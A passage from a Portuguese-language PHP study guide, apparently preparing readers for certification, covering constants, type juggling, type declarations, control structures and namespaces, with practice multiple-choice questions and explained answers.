Ao definir a constante dentro da função também a faz presente externamente. Veja esta questão:

Qual a saída do script a seguir:


<?php
function BancoDeHoras(){
define("EXPEDIENTE_INICIAL", 8);
}
echo EXPEDIENTE_INICIAL;
Fundamentos do PHP 70

?>

A: 8
B: <vazio>
C: "8"
D: Notice: Use of undefined constant EXPEDIENTE_INICIAL...

Nessa questão a alternativa correta é a D: um erro de Notice.


Pelo contexto você poderia ser induzido a responder como A: 8. Embora tenhamos definido a
constante dentro da função BancoDeHoras(), ela não foi invocada e consequentemente a constante
sequer existe no momento do echo.

Constantes mágicas
O PHP nos oferece uma série de constantes mágicas. A maioria segue a convenção, com dois
underscores no ínicio e dois no fim. Ex.:
Constantes mágicas Descrição
__LINE__ Número da linha corrente, do arquivo em questão
__FILE__ Caminho completo e nome do arquivo com links simbólicos resolvidos
__DIR__ Diretório do arquivo
__FUNCTION__ Nome da função
__CLASS__ Nome da classe incluindo o namespace em que foi declarado
__TRAIT__ Nome do trait incluindo o namespace em que foi declarado
__METHOD__ Nome do método
__NAMESPACE__ Nome do namespace
NomeDaClasse::class Nome completo da classe

Digamos que você tenha um script.php com o conteúdo abaixo rodando na raiz do se\
rvidor /var/www:
<?php
include "constantesmagicas.php";

E o script constantesmagicas.php contém __FILE__, que é a constante mágica que e\


xibe o nome do arquivo:
<?php
echo __FILE__;

Portanto qual a saída do código script.php?


Fundamentos do PHP 71

A: script.php
B: constantesmagicas.php
C: /var/www/script.php
D: /var/www/constantesmagicas.php
E: Nenhuma das alternativas

Pode haver alguma confusão nessa pergunta, pois o código PHP que está rodando é script.php,
porém a constante mágica __FILE__ foi exibida em constantesmagicas.php. Portanto ele retorna o
caminho completo do arquivo em que ele está fisicamente, nesse caso /var/www/constantesmagi-
cas.php.

Expressões em constantes

É possível atribuir expressões em constantes, sejam elas procedurais ou de classes.

Expressões em constantes é uma novidade incorporada na versão 5.6 do PHP.

No exemplo abaixo teremos a constante IDATE_MAX que assume o valor de IDADE_MIN * 4. A


constante DISTANCIA_US provêem de QUILOMETRAGEM * 1.61, bem como a constante de classe
MENSAGEM:

1 define("IDADE_MIN", 5);
2 const IDATE_MAX = IDADE_MIN * 4;
3 const QUILOMETRAGEM = 7;
4 define("DISTANCIA_US", QUILOMETRAGEM * 1.61);
5
6 class C {
7 const CENTROCUSTO = "Matriz";
8 const MENSAGEM = "Sua unidade é: ".self::CENTROCUSTO;
9 }
10
11 echo IDATE_MAX;
12 echo DISTANCIA_US;
13 $obj = new C;
14 echo $obj::MENSAGEM;

Outra possibilidade que temos disponível a partir da versão 5.6 do PHP, são as constantes originadas
de arrays, definidas através da palavra-chave const ou pela função define():
Fundamentos do PHP 72

1 const QUILOMETRAGEM = array(7, 21, 30);


2 define("PRE_NATAL", [11, 14, 20, 24, 34, 36]);
3
4 echo QUILOMETRAGEM[1];
5 echo PRE_NATAL[4];

Visibilidade em constantes
Um recurso interessante disponibilizado na versão 7.1 é a possibilidade de definir visibilidade para
as constantes, assim como fazemos habitualmente em atributos.

1 class Cerveja
2 {
3 public const IMPOSTO = 27;
4 protected const PRODUCAO = 2000;
5 }
6
7 $produto = new Cerveja;
8 echo $produto::IMPOSTO."<br>";
9 echo $produto::PRODUCAO."<br>";

O resultado será:

27
Fatal error: Uncaught Error: Cannot access protected const Cerveja::PRODUCAO in \
...

Nas definições de constantes observe que a constante IMPOSTO é pública (como sempre foi, na era pré-
PHP 7.1) e resulta em 27. Porém a constante PRODUCAO é protected e não permite que seja acessada
externamente a classe, gerando um Fatal error.

Tipos de dados
O PHP suporta os mais variados tipos de dados (veja tabela abaixo), inclusive com total flexibilidade
na atribuição de valores, sem a necessidade de tipificá-las anteriormente – basta carregar o dado na
respectiva variável, deliberadamente.
Existem três categorias de variáveis: escalar, composta e de recurso.
A variável escalar permite armazenar um dado por vez e podem ser divididas em quatro sub-tipos:
Fundamentos do PHP 73

Tipagem scalar Exemplo


String Ari Stopassola Junior
Dona Carlinda, 933

Inteiro 36
-250

Números de ponto flutuante 20.8


3.141592

Booleanos true
false

Variáveis compostas podem conter diversos valores ao mesmo tempo e podem ser de dois sub-tipos:

Tipagem composite Exemplo


Arrays (vetor e matriz) (0 => "A", 1 => "B", "200 => "C") //índice numérico esparso
("nome" => "Ari", "idade" => 36) //índice em formato de string
(cidade => "Gramado", "opções" => array (0 => "almoço", 1 =>
"passeio") //array dentro de array
Objetos $obj->metodo(); //invoca um comportamento do objeto
echo $obj->atributo; //acessa uma propriedade do objeto

Já um recurso aponta para algo não nativo do PHP, tal como um manipulador de arquivo provido
pelo sistema operacional ou um conector de banco de dados. Este tipo de variável não pode ser
convertido para outro tipo:

Tipagem resource Exemplo


Recurso³⁴ $conexao = mysqli_connect(); //$conexao é um mysql
link
$arquivo = fopen("logs.txt", "w"); //$arquivo é um
stream
$gd = imagecreate(200, 300); //$gd é um
manipulador para GD

Por fim temos o tipo nulo (null), que são variáveis sem valor. Veremos exemplos mais adiante no
sub-tópico Tipos Nulos (Nullable types).
Tamanha flexibilidade pode tornar-se um tormento quando o programador tem pouca experiência
e não faz uma atribuição consciente do tipo de dado que uma determinada estrutura deveria conter
- em decorrência do type juggling (que veremos no próximo tópico).
Uma função correlacionada que sempre cai no teste é a boolval() que obtém o valor booleano de
uma variável.
Tomei a liberdade de extrair da documentação oficial http://php.net/manual/pt_BR/function.boolval.
³⁴http://php.net/manual/en/resource.php
Fundamentos do PHP 74

php um trecho de código que exemplifica os principais cenários de uso, que provavelmente vão cair
no teste. Ex.:

1 echo '0: '.(boolval(0) ? 'true' : 'false')."\n";


2 echo '42: '.(boolval(42) ? 'true' : 'false')."\n";
3 echo '0.0: '.(boolval(0.0) ? 'true' : 'false')."\n";
4 echo '4.2: '.(boolval(4.2) ? 'true' : 'false')."\n";
5 echo '"": '.(boolval("") ? 'true' : 'false')."\n";
6 echo '"string": '.(boolval("string") ? 'true' : 'false')."\n";
7 echo '"0": '.(boolval("0") ? 'true' : 'false')."\n";
8 echo '"1": '.(boolval("1") ? 'true' : 'false')."\n";
9 echo '[1, 2]: '.(boolval([1, 2]) ? 'true' : 'false')."\n";
10 echo '[]: '.(boolval([]) ? 'true' : 'false')."\n";
11 echo 'stdClass: '.(boolval(new stdClass) ? 'true' : 'false')."\n";

O resultado será:

0: false
42: true
0.0: false
4.2: true
"": false
"string": true
"0": false
"1": true
[1, 2]: true
[]: false
stdClass: true

Type Juggling
Sabemos que o PHP tornou-se amplamente difundido em decorrência de sua flexibilidade, da
possibilidade de podermos atribuir uma variável diretamente sem a necessidade de a definirmos
anteriormente.
Outra habilidade interessante, e que foi pensada para ser dessa forma, é a capacidade de atribuirmos
qualquer tipo de dado em uma variável. É uma característica conhecida como fracamente tipada.
Se você testar operandos com == o operador não compara os tipos de dados, diferentemente do
operador === (que significa idêntico).
Daí entra a “magia” onde, implicitamente, o PHP realiza uma conversão automática, conhecida na
literatura como type juggling ou implicit casting.
Fundamentos do PHP 75

Veja esse exemplo de conversão, onde $x que possui o valor 39 inteiro é concatenado com 11 em
formato string:

1 $x = 39;
2 $x .= "11"; // $x = "3911";

Evidentemente que há um custo para a realização das conversões implícitas, algo que o PHP 7 tira
proveito. Se o desenvolvedor opta por restringir os tipos de dados que as variáveis terão, o código
PHP fica consideravelmente mais rápido.
No type juggling o PHP examina a string da esquerda para a direita até encontrar um caractere
inválido. Veja alguns exemplos de conversão:

1 $x = "12x" * 1; // (int)12
2 $x = "1.2x" * 1; // (float)1.2
3 $x = "12E-1x" * 1; // (float)1.2
4 $x = "08x" * 1; // (int)8
5 $x = "E1x" * 1; // (int)0

Os números podem ser representados de diferentes formas:

Formato Base Exemplo


Binário base 2 0b101010
Octal base 8 01234
Decimal base 10 1234
Hexadecimal base 16 0x1234

Agora sabemos que o PHP realiza um casting automático para equiparar os operandos. Ex.:

1 echo 1 + '1a'; //2

Pois se você converter (int)'1a' resultará em 1 inteiro, diferente de (int)'a1' que resultará em
inteiro 0.
Na versão 7.1 esse tipo de operação aritmética gera um Notice: A non well formed numeric
value encountered in ..., o que é bastante útil para o desenvolvedor.

Se você somar um número com uma string (que é uma situação inusitada), por exemplo echo 1
+ 'a';, daí o PHP 7.1 gera um Warning: A non-numeric value encountered in .... Veja que o
nível de criticidade, nesses casos, aumentou de Notice para Warning.
Fundamentos do PHP 76

Qual a saída do código abaixo?

echo "3" + 5 * "0x02";

A: Parse error
B: 3
C: 13
D: 310
E: Notice e o valor 3

A primeira instrução que chama a atenção é "0x02". Sabemos que valores iniciados por 0x são
identificados como hexadecimais - mesmo assim o 2 hexadecimal equivale a 2 decimal.
Mas o crítico nesse caso são as aspas duplas externas que a identificam como uma string. Ao realizar a
operação de multiplicação, o PHP faz a conversão automática transformando "0x02" em (integer)0,
sendo que a multiplicação por 5 resulta em 0.
A resposta nesse caso é um Notice em decorrência da multiplicação por string (Notice: A non well
formed numeric value encountered), então a resposta é E: Notice e o valor 3.

Obs.: na versão 7.0 do PHP essa resposta seria diretamente 3, pois ele já converteria os valores
implicitamente.
Outra habilidade do casting é transformar array em objeto e vice-versa.

Qual a saída do código a seguir?

$a = array('a', 'b'=>'c');
//Atribuição de 'a' será realizada na chave '0'
//Ao converter o array em objeto, os índices transformam-se em atributos
//portanto teremos [0] => 'a', ['b'] => 'c'

echo property_exists((object) $a, 'a') ? 'verdadeiro' : 'falso';


echo property_exists((object) $a, 'b') ? 'verdadeiro' : 'falso';

Analisando a primeira linha vemos que a atribuição de a será realizada na chave 0 e o valor c será
armazenado no índice b. Ao converter o array [0] => 'a', ['b'] => 'c' em objeto, os índices do
array transformam-se em atributos do objeto. Significa que o primeiro teste property_exists()
será falso e o segundo verdadeiro. Resultado: falsoverdadeiro.
Fundamentos do PHP 77

Declaração de tipos de dados de retorno


A versão 7.0 do PHP trouxe um recurso que muitos desenvolvedores requisitavam e que certamente
oferece ainda mais performance à linguagem: declaração de tipos de dados.
O PHP continua suportando a atribuição flexível de tipos de dados, característica que conquistou
muitos adeptos ao PHP em decorrência da sua simplicidade de uso.
Agora é possível determinar de antemão que tipo de dados serão passados e devolvido pela
função/método.
Observe o código abaixo, escrito na forma tradicional (era pré-PHP 7). Ex.:

1 function contaLetrasDasPalavras($texto){
2 //Se o parâmetro for vazio, retorna vazio
3 if(empty($texto)){
4 return "";
5 }
6 $string = explode(" ", $texto);
7 foreach($string as $item){
8 //Alimenta o vetor com o tamanho de caracteres de cada palavra
9 $vetor[] = strlen($item);
10 }
11 return $vetor;
12 }
13
14 echo "<pre>";
15 print_r(contaLetrasDasPalavras("Ari Stopassola Junior"));
16 echo "</pre>";

O código acima devolverá:

Array
(
[0] => 3
[1] => 10
[2] => 6
)

Agora experimente determinar que obrigatoriamente o retorno da função deve ser um array.
Adicione : array na declaração de função de modo que ela fique:
Fundamentos do PHP 78

1 function contaLetrasDasPalavras($texto) : array {

A partir de agora, se você passar uma string vazia para a função contaLetrasDasPalavras() a
condição do if será satisfeita e devolverá um retorno vazio provocando:

Fatal error: Uncaught TypeError: Return value of contaLetrasDasPalavras() must \


be of the type array...

Esta mesma construção pode ser utilizada no contexto de orientação à objetos. Veja um exemplo
com interfaces (que será explorada mais adiante), onde pré-determinamos que o retorno do método
obtemData() será um objeto DateTime. Ex.:

1 interface Auditoria
2 {
3 public function obtemData() : DateTime;
4 public function obtemGrafico();
5 }

Então provavelmente vais ter uma classe que implementará a interface Auditoria. Lembrando que
esse conceito será desenvolvido de forma aprofundada no seu respectivo capítulo (em “Programação
Orientada à Objetos”):

1 interface Auditoria
2 {
3 public function obtemData() : DateTime;
4 public function obtemGrafico();
5 }
6
7 class Vendas implements Auditoria {
8 public function obtemData() : DateTime {
9 return new DateTime("2017-02-23");
10 }
11 public function obtemGrafico(){
12 //...
13 }
14 }
15
16 $obj = new Vendas;
17 var_dump($obj->obtemData());

Recapitulando a composição dos tipos de retorno:


Fundamentos do PHP 79

• a declaração do tipo de retorno é opcional;


• obrigatória apenas se for declarada na interface ou na classe pai;
• sub-classe jamais podem sobrescrever a declaração de tipo de retorno da super-classe;
• devolver um tipo de dado incoerente com a declaração estipulada gera um Fatal error.

Indução de tipos escalares


O PHP possui quatro tipos escalares (Scalar Type Hinting), de uso opcional:

Tipos escalares Tipos de dados válidos


Booleano (true ou false) bool
Inteiro int
Ponto flutuante flot
String string

A sintaxe do Scalar Type Hinting é que venha(m) antes da(s) variável(eis) que compõe os parâmetros.
Ex.:

1 function menorCaminho(int $a, int $b) : int {


2 return $a + $b;
3 }
4 echo menorCaminho(4, 5);

No contexto de indução de tipos booleanos e inteiros, o PHP não suporta alias, então jamais utilize,
respectivamente, nomes como boolean e integer - somente as palavras-chave bool e int.
A única exceção nas “dicas de tipos” de parâmetros é quando o usuário determina um argumento
como float, entretanto o PHP aceita um valor inteiro.
Lembrando que originalmente o PHP é uma linguagem fracamente tipada, característica que
contribuiu em sua popularização. Em modo fraco (weak mode) os tipos de dados são convertidos
automaticamente seguindo as regras de conversão das versões anteriores do PHP. Em modo rigoroso
(strict mode) os tipos de dados devem ser obedecidos e requer que seja habilitado arquivo por
arquivo.
Para alterar a execução do script em modo rigoroso:

• declare(strict_types=1);
• deve ser a primeira declaração do arquivo
• a declaração será aplicada para todo o arquivo
• não afeta scripts via include ou que incorporam esse arquivo

Veja um exemplo utilizando o modo flexível, onde o PHP converte o tipo de dado automaticamente
através do type juggling:
Fundamentos do PHP 80

1 function obtemInteiro($input) : int {


2 return $input;
3 }
4 function obtemPontoFlutuante($input) : float {
5 return $input;
6 }
7 function obtemTexto($input) : string {
8 return $input;
9 }
10 function obtemBooleano($input) : bool {
11 return $input;
12 }
13
14 $conteudo = 7.5;
15 echo var_dump(obtemInteiro($conteudo)); //int(7)
16 echo var_dump(obtemPontoFlutuante($conteudo)); //float(7.5)
17 echo var_dump(obtemTexto($conteudo)); //string(3) "7.5"
18 echo var_dump(obtemBooleano($conteudo)); //bool(true)

Agora experimente adicionar o declare(strict_types=1); no começo do script, gerando Fatal


error: Uncaught TypeError: Return value of.

O modo rigoroso dos tipos de dados é determinado da seguinte forma:

Situação Modo strict


Type hint de parâmetros no arquivo que chama a função
Declaração de tipo de retorno no arquivo onde a função foi definida

Lembre-se que usar o modo strict gera um ganho significativo de performance, mas requer maior
disciplina do programador para passar e receber adequadamente os tipos de dados.

Tipos nulos (Nullable types)


Retomando os novos conceitos trazidos pelo PHP 7 que revolucionaram a performance, teremos as
declarações de tipos escalares (Scalar Type Declarations) e tipos de retorno (Return Types).
Mas observe o exemplo a seguir e perceba que teremos um Fatal error pois o atributo $nome não foi
setado (a linha está comentada) e consequentemente o método getNome() espera que seja devolvido
uma string como tipo de retorno.
Fundamentos do PHP 81

1 class Usuario
2 {
3 public $nome;
4
5 public function getNome() : string
6 {
7 return $this->nome;
8 }
9 }
10
11 $usr = new Usuario;
12 //$usr->nome = "Ari";
13 echo $usr->getNome();

O erro fatal ocorreu pois $nome permanece nulo, já que sequer lhe foi atribuido alguma string.
Para evitar esse tipo de erro crítico, o PHP 7.1 trouxe a possibilidade de colocarmos um ponto
de interrogação na frente da especificação de tipo, permitindo então que o valor retornado seja
eventualmente null. Ficaria assim:

1 public function getNome() : ?string

Tipos vazios (void types)


Em certos casos o desenvolvedor pretende apenas invocar o recurso, mas ele não obrigatoriamente
retorna valor, tão pouco null. Veja esse exemplo:

1 class Servico
2 {
3 public function __construct()
4 {
5 $this->registraServico();
6 }
7
8 public function registraServico() : void
9 {
10 //Executa, mas não necessariamente retorna valor ou devolve nulo
11 }
12 }
13
14 $srv = new Servico;
Fundamentos do PHP 82

Nesse caso, que simula um registro de serviço qualquer, convém especificar que não há retorno
para o método registraServico(). É uma funcionalidade do PHP 7.1 que determina um retorno
absolutamente vazio, ou seja, sem retorno.

Delimitadores
Delimitadores de string podem ser aspas duplas ou simples. Usar aspas duplas oferece vantagens,
já que o conteúdo delimitado é interpretado e podemos trabalhar com:

• caracteres especiais: $x = "1\n2\n3";


• strings contendo variáveis: $x = "1$y2";

Aspas simples mostram o conteúdo literalmente, sem avaliação.

Qual a saída do código a seguir:


<?php
$n = "Ari Stopassola Junior";
$n1 = "Ari";
$n2 = "Stopassola";
$n3 = "Junior";
$saudacao = "Olá $n2";
echo $saudacao;
?>

A: Olá Ari Stopassola Junior2


B: Olá
C: Olá Stopassola2
D: Olá Stopassola

Nesse caso o parser irá substituir o $n2 que contém a string Stopassola, e não apenas o $n (Ari
Stopassola Junior) concatenado com a string 2, que formaria Ari Stopassola Junior2. Portanto
a resposta é D: Olá Stopassola.
Observe essa pequena modificação:

1 $saudacao = "Olá {$n}2";

Daí o resultado seria totalmente diferente. Nesse caso A: Ari Stopassola Junior2 decorrente das
chaves que delimitam o nome da variável.
Fundamentos do PHP 83

Qual a saída do código a seguir:


<?php
echo strlen('1\n2') * strlen("1\n2");
?>
_____________ (campo aberto)

Observe atentamente e perceba que o primeiro conjunto de caracteres está demarcado sob aspas
simples, enquanto que o segundo está envolto por aspas duplas. Aspas simples mantém os caracteres
exatamente como estão, portanto o tamanho (strlen()) da string dessa primeira expressão é 4. Já
a segunda porção resulta em 3 pois \n é convertido em quebra de linha e conta como um caractere,
ao invés de dois.
A resposta então é: 12.
Lembre-se de preencher a resposta sem espaço, ponto, tabulação ou comentário. Simplesmente o
número!

Estruturas de controle
O PHP suporta diversas estruturas de controle categorizadas em condicionais e de iteração. Na
condicional temos o tradicional if-then-else. Ex.:

1 if (expressao){
2 //Faça algo
3 } else if (outraExpressao) {
4 //Faça outra coisa
5 } else {
6 //Faça algo diferente
7 }

Como sintaxe alternativa, dos primórdios do PHP, teremos:


Fundamentos do PHP 84

1 if (expressao):
2 //Faça algo
3 elseif (outraExpressao) :
4 //Faça outra coisa
5 else :
6 //Faça algo diferente
7 endif;

Podemos também omitir as chaves de ínicio e fim dos blocos, desde que a instrução não ultrapasse
uma linha. Ex.:

1 if (true)
2 echo 'verdadeiro';
3 else
4 echo 'continua o fluxo';

Atenção com a identação que pode confundir. Ex.:

1 if (true)
2 echo 'verdadeiro';
3 echo 'continua o fluxo';

Vai exibir verdadeirocontinua o fluxo, dando a impressão de que a segunda linha também faz
parte do bloco if enquanto true. O teste faz exibir somente a primeira linha e as demais pertencem
ao fluxo normal de execução do código. Melhor identado, ficaria assim:

1 if (true)
2 echo 'verdadeiro';
3 echo 'continua o fluxo';

Temos também os operadores ternários, com a seguinte sintaxe:

1 (expressão) ? ValorSeVerdadeiro : ValorSeFalso

Geralmente usando nesse estilo:

1 $a = (expressão) ? ValorSeVerdadeiro : ValorSeFalso

Disponível também na sua respectiva forma curta:


Fundamentos do PHP 85

1 $a = ValorSeVerdadeiro ?: ValorSeFalso

Qual a saída do código a seguir?


echo true ? 'verdadeiro' : false ? 'v' : 'f';

A: 'verdadeiro'
B: true
C: 'v'
D: 'f'
E: false

Perceba que nesse exemplo estamos avaliando operadores ternários aninhados. O desenvolvedor é
induzido a resolver a expressão à direita (false ? 'v' : 'f') que resultaria em 'f' já que a con-
dição é falsa) e posteriormente executaria o teste restante mais a esquerda (true ? 'verdadeiro'
: 'f'), resultando em 'verdadeiro'.

Mas os operadores ternários tem um comportamento diferenciado e são avaliados da esquerda para
a direita.
A ordem correta é:

1. Primeira avaliação: true ? 'verdadeiro' : false que resulta em 'verdadeiro'


2. Substituindo ficaria: echo 'verdadeiro' ? 'v' : 'f'
3. Portanto (boolean)'verdadeiro' é true booleano então o resultado é 'v' (alternativa C).

Uma releitura mais clara seria:

1 echo (true ? 'verdadeiro' : false) ? 'v' : 'f';

O site oficial php.net³⁵ desaconselha o uso de operadores ternários empilhados, justamente por esse
comportamento não ser tão óbvio.

Qual a saída do código abaixo?


echo (bool)(new stdClass)? (bool)true : (bool)false;

_____________ (campo aberto)

³⁵http://php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary
Fundamentos do PHP 86

A stdClass (standard class) é uma classe genérica vazia nativa da linguagem. Ao forçarmos
uma conversão desse objeto para booleano, a expressão new stdClass será transformada para
bool(true), portanto o teste será verdadeiro e consequentemente irá mostrar 1 na tela - que é a
conversão do (bool)true da operação ternária. Portanto você deve digitar 1 no campo.
Você pode se deparar com outra variante do operador ternário: a sua forma curta de uso. Observe:

1 $resultado = "Feito";
2 $a = $resultado ?: "Incompleto";
3 echo $a;

(boolean)"Feito" resulta true, então a expressão atribui à variável $a o conteúdo de $resultado.


Para ter um controle absoluto de como a expressão será avaliada, experimente analisar o comporta-
mento da função boolval() no tópico Tipos de dados neste mesmo capítulo.
Como laços nós temos o while como a mais simples forma de iteração. A sintaxe é: while(expressão)declaração.
Ex.:

1 $total = 0;
2 $i = 1;
3
4 while($i < 10){
5 $total += 7;
6 $i++;
7 }
8 echo $total; //63

Enquanto a expressão $i < 10 for verdadeira, o loop continua executando as declarações do bloco.
O while também possui uma sintaxe alternativa. Ex.:

1 $total = 0;
2 $i = 1;
3
4 while($i < 10):
5 $total += 7;
6 $i++;
7 endwhile;
8 echo $total; //63

Podemos sair prematuramente de um laço com a palavra-chave break. Ex.:


Fundamentos do PHP 87

1 $i=0;
2 while ($i < 10) {
3 echo "$i ";
4 if ($i == 4) {
5 echo "encerrando o if.";
6 break;
7 echo "isso jamais será executado";
8 }
9 $i++;
10 }

No código acima, o loop iria de 0 até 9, exceto pelo teste if que sai da iteração quando $i valor 4. A
saída será:

0 1 2 3 4 encerrando o if.

Da mesma forma que você foge da iteração com break, é possível passar para o próximo teste da
condição através da palavra-chave continue.

1 $i=0;
2 while ($i < 10) {
3 if ( ($i >= 4) AND ($i <= 8) ) {
4 $i++;
5 continue;
6 }
7 echo "O valor de \$i é $i<br>";
8 $i++;
9 }

Ao identificar que ($i >= 4) AND ($i <= 8) o $i é incrementado e o continue executado. Significa
que a linha echo "O valor de \$i é $i<br>"; e o outro incremento de $i não serão executados
naquelas circunstâncias, já que o continue força o laço a ir para o ciclo seguinte.
A saída, no exemplo acima, será:

O valor de $i é 0
O valor de $i é 1
O valor de $i é 2
O valor de $i é 3
O valor de $i é 9

Podemos também ter laços aninhados, e a capacidade de dispararmos o break e continue para que
operem em mais níveis de iteração. Ex.:
Fundamentos do PHP 88

1 $i = 0;
2 $j = 0;
3
4 while($i < 10){
5 while($j < 10){
6 if($j == 5){
7 break 2; //interrompe os DOIS laços
8 }
9 $j++;
10 }
11 $i++;
12 }
13
14 echo "{$i} {$j}";

A saída do código acima será: 0 5;


Outra sintaxe interessante, variante do while, é do/while, onde o código do bloco será executado
ao menos uma vez, mesmo se a condição for falsa:

1 $cpu = 3000;
2 do {
3 echo "Cpu: $cpu Mhz";
4 $cpu = $cpu + 200;
5 }
6 while ($cpu <= 1000);

O resultado do script acima será: Cpu: 3000 Mhz.


Outra estrutura de repetição, similar ao while, é a declaração for. A diferença consiste que for
permite a inicialização expressões de manipulação dos contadores.
Sua sintaxe é: for(início; condição; incremento) { declaração(ções) }.
A expressão início é primeiramente avaliada. A cada loop a condição é testada: se true, executa o
corpo do for, caso contrário o laço termina. A expressão incremento é avaliada depois da execução
do corpo do for.

1 for ($i=0; $i<=20; $i++) {


2 echo "$i, ";
3 }

O resultado acima será: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, .
Fundamentos do PHP 89

Qual a saída do código abaixo?


<?php
function fibonacci (&$x1 = 0, &$x2 = 1){
$result= $x1 + $x2;
$x1 = $x2;
$x2 = $result;
return $result;
}

for ($i = 0; $i < 10; $i++) {


echo fibonacci() . ',';
}

A: Erro
B: 1,1,1,1,1,1,1,1,1,1,
C: 1,1,2,3,5,8,13,21,34,55,
D: Vazio

Nessa pergunta, iremos chamar dez vezes a função fibonacci(). Mas perceba que não passamos
argumentos, portanto $x1 e $x2 assumem valores default, respectivamente 0 e 1.
A malícia da questão é a passagem de parâmetros por referência (&) insinuando que os valores de $x1
e $x2 se perpetuariam - o que não é verdade. Já que a função é sempre invocada sem parâmetros,
consequentemente devolve sempre o valor 1 atribuído em $result.
Portanto a resposta correta é B: 1,1,1,1,1,1,1,1,1,1,.
Mas voltando ao assunto das estruturas de repetição, outra sintaxe do for é utilizando : (dois pontos)
e endfor. Ex.:

1 for ($i=20; $i>=0; $i--):


2 echo "$i, ";
3 endfor;

No exemplo acima, observe apenas que a terceira expressão do for é um decremento. Sendo que o
laço ocorre normalmente.
Podemos especificar múltiplas expressões em cada sentença do for, separando-as por vírgulas. Ex.:

1 for ($i=0, $j=0; $i<=20; $i++, $j*=2) {


2 echo "$i, ";
3 }

Outra construção interessante (e totalmente desaconselhada) é o loop infinito. Ex.: for(;;){echo


"Nunca pare";}.
Fundamentos do PHP 90

Construções da linguagem e funções


Nas versões anteriores ao PHP 7.0 havia um bug nas declarações switch quando se especificavam
múltiplos casos default - que desvia o fluxo quando nenhuma combinação for bem sucedida:

1 echo "Versão: ".phpversion()."<br>";


2
3 $a = "Ari";
4 $b = 0;
5 switch($a){
6 default:
7 $b += 1;
8 break;
9 default:
10 $b += 2;
11 break;
12 }
13
14 echo 'O valor de $b é: '.$b;

A saída desse código, rodando sob o PHP 5.6.30 (por exemplo) será:

Versão: 5.6.30
O valor de $b é: 2

Significa que ele assumiu o último default especificado, caso o switch não se enquadrasse em
nenhum case anterior.
No PHP 7.0 essa execução foi penalizada, gerando um Fatal error: Switch statements may only
contain one default clause in....

Ao comentar àquele segundo default, então teremos a execução correta:

Versão: 7.1.1
O valor de $b é: 1

Namespaces
Espaço de nomes é uma forma de agrupar código PHP correlacionado, que sejam pertinentes ao
mesmo contexto como uma biblioteca ou módulo da aplicação.
Fundamentos do PHP 91

É extremamente útil para evitar colisão de nomes de funções, classes, interfaces e constantes –
na medida em que o software vai crescendo e novas bibliotecas vão sendo incorporadas. Seu uso
é importante pois subdivide o namespace global, servindo como uma espécie de “prefixo” para um
conjunto de classes.
Definições de classes e funções são globais, então o desenvolvedor precisava ter cuidado ao nomear
suas estruturas, correndo o risco de sobrescrever outros recursos disponíveis (inclusive bibliotecas
de terceiros).
Antes do PHP 5.3 a estratégia de nomenclatura era criar nomes com prefixos, algo como: Perito_-
Biblioteca_TrataImagem. A medida que a funcionalidade aumenta de tamanho, mais prefixos são
adicionados, deixando os nomes extremamente longos e consequentemente difícil de manipular e
refatorar.
A vantagem do namespace é encapsular classes, interfaces, funções e constantes abreviando nomes
longos e facilitando o reuso de código.

Qual a saída do código a seguir?


<?php
namespace MinhaBiblioteca;
function count($a)
{
return "Contando";
}
$a = ["Ari", "Stopassola", "Junior"];
echo count($a);

A: 3
B: Contando
C: Fatal error: Cannot redeclare count() in ...
D: Nenhuma das alternativas

Lembre-se que count() é uma função nativa da linguagem e provocaria erro em condições normais
EXCETO pelo fato de estarmos usando namespaces. Isso significa que ela existirá no contexto de
MinhaBiblioteca, podendo ser redeclarada - já que a \count() está no espaço de nomes global.
Portanto a alternativa correta é B: Contando.
Citando outro exemplo, podemos ter uma classe chamada Cliente no contexto de Atendimento e
outra classe também chamada Cliente no âmbito Operacional - coexistindo em harmonia, pois
estarão em namespaces distintos.
No script onde consta a definição e implementação da(s) classe(s), definimos um espaço de nomes
através da palavra reservada namespace. Ex.:
Fundamentos do PHP 92

1 namespace Atendimento\Balcao;
2 //abaixo segue o código que implementa a classe Cliente, dentre outras

Para fazermos uso da classe apropriada, de acordo com o contexto desejado, utilizo a palavra
reservada use <namespace>. Ex.: use Atendimento\Balcao;
Significa que estou operando a classe Cliente no âmbito Atendimento\Balcao, diferente da imple-
mentação da classe Cliente do espaço de nomes \Operacional (a partir da raiz da aplicação), por
exemplo.
Ao referenciar as classes, funções e constantes globais, pode-se simplesmente ignorar a instrução
use ou simplesmente apontar para a raiz: use \

Como boas práticas convencionou-se definir um namespace por arquivo de código, sendo que
declare é a única construção que precede a declaração de namespace, e nenhuma outra.

Você pode ter implementações de uma classe (de mesmo nome) sob diferentes namespaces num
mesmo arquivo – mas não usá-los. Ex.:

1 <?php
2 namespace lojafisica;
3 const EXPEDIENTE = 8;
4 class Cliente {
5 function Informacoes()
6 {
7 return __METHOD__;
8 }
9 }
10
11 namespace site;
12 const EXPEDIENTE = 24;
13 class Cliente {
14 function Informacoes()
15 {
16 return __METHOD__;
17 }
18 }
19
20 $ari = new Cliente;
21 echo $ari->Informacoes();

Nesse exemplo o objeto $ari é a instância da classe Cliente do namespace site, pois foi o último
espaço de nomes declarado e portanto segue sendo o namespace corrente. A saída do script acima
é: site\Cliente::Informacoes.
Fundamentos do PHP 93

O operador de resolução de escopo (::) dá a impressão de que o método Informacoes() é estático,


mas o Paamayim Nekudotayim aparece em ambas as circunstâncias, quando usa-se a constante
mágica __METHOD__: sejam métodos dinâmicos ou static.
Como visto nos exemplos, é possível subdividir a biblioteca usando barra invertida \ para melhorar
a organização do código.
Para debug experimente a constante mágica __NAMESPACE__, que mostra exatamente em que
namespace você está operando efetivamente.

<?php
namespace ABC\XYZ;
class A {
function __construct (){
echo __METHOD__;
}
}
$obj = new A;
?>

A: __construct
B: A::__construct
C: ABC\XYZ\__construct
D: ABC\XYZ\A::__construct

Abrindo um parênteses, outra constante mágica interessante é a __METHOD__ que informa qual
método encontra-se o código em que esse comando foi invocado, bastante importante na depuração
de erros.
Obs.: você pode utilizar __FUNCTION__ ou __METHOD__, independentemente se estiver usando funções
ou métodos. Em ambos os contextos (procedural x OO) os dois métodos mágicos funcionam.
Mas voltando ao escopo da pergunta, ao explorar o recurso de namespace a constante __METHOD__-
também os considera no processo de debug. Então a resposta correta é D: ABC\XYZ\A::__construct
Fully-qualified names não tem ambiguidade. Começam com a barra invertida \ indicando a raiz da
biblioteca, mapeando toda a ramificação, semelhante ao caminho do filesystem. Ex.:

1 $passeio = new \Agencia\Receptivo\Traslado;

